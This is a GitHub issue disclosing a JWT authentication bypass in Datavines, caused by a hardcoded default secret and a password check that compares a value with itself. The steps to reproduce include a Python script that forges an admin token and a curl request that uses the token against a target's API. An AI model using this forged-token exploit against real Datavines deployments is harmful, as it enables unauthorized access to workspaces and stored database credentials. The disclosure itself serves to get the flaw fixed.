New issue

[Bug] [Security] JWT Authentication Bypass via Hardcoded Secret and Self-Comparison Logic #580

Open

Labels bug

jackieya opened 3 weeks ago

Search before asking

- [x] I had searched in the issues and found no similar issues.

What happened

Datavines has a **critical JWT authentication bypass vulnerability** caused by two flaws working together:

Flaw 1: Hardcoded JWT Secret

In `TokenManager.java` (Line 42), the JWT signing secret is hardcoded as a default value:

```
@Value("${jwt.token.secret:asdqwe}")
private String tokenSecret;
```

The configuration key `jwt.token.secret` is **not present** in `application.yaml`, nor is it mentioned in any documentation or deployment guide. This means **all default deployments use the same secret** `asdqwe`.

Flaw 2: Self-Comparison in `validateToken`

In `AuthenticationInterceptor.java` (Line 96), the password validation compares the token's password **against itself**:

```
// Current code — the password from the token is compared with... itself
```

```
if (!tokeManager.validateToken(token, username, tokeManager.getPassword(token))) {
```

The `tokeManager.getPassword(token)` extracts the password from the token, and then `validateToken` (Line 163-166) compares it with the same extracted value. This comparison will **always be true**, regardless of whether the password is correct.

Impact

An attacker who knows only a valid username (e.g., the default `admin`) can forge a valid JWT token and **completely bypass authentication** to access all protected API endpoints, including:

- Listing all workspaces and their datasource configurations (database credentials)
- Executing arbitrary operations as the impersonated user
- Accessing admin-only functionality

No valid password or user account is needed.

Steps to Reproduce

```
# Generate a forged token using the known secret "asdqwe" and any fake password
python3 -c "
import jwt, time
token = jwt.encode({
    'un': 'admin',
    'up': 'FAKE_PASSWORD',
    'ct': int(time.time()*1000),
    'sub': 'admin',
    'exp': int(time.time()) + 315360000
}, 'asdqwe', algorithm='HS256')
print(token)
"

# Use the forged token to access protected API
curl -s http://TARGET:5600/api/v1/workspace/list \
  -H "Authorization: Bearer <forged_token>"
# Returns HTTP 200 with workspace data — authentication bypassed
```

Root Cause Analysis

The call chain is:

```
AuthenticationInterceptor.preHandle()
  → tokenPassword = tokeManager.getPassword(token)     // extract from token
  → tokeManager.validateToken(token, username, tokenPassword)
    → tokenPassword2 = getPassword(token)                // extract again
    → tokenPassword.equals(tokenPassword2)               // self-comparison → always true!
```

Suggested Fix

#579

DataVines Version

All versions, including the latest (as of commit `00c1561`)

DataVines Config

```
Default `application.yaml` — no JWT-related configuration exists.
```

Running Command

```
N/A
```

Error Exception

```
N/A — this is a security vulnerability, not a runtime error
```

Engine Type

No response

Java Version

No response

Screenshots

No response

Are you willing to submit PR?

- [x] Yes I am willing to submit a PR!

jackieya added **bug** 3 weeks ago

Metadata

Assignees

No one assigned

Labels

bug

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants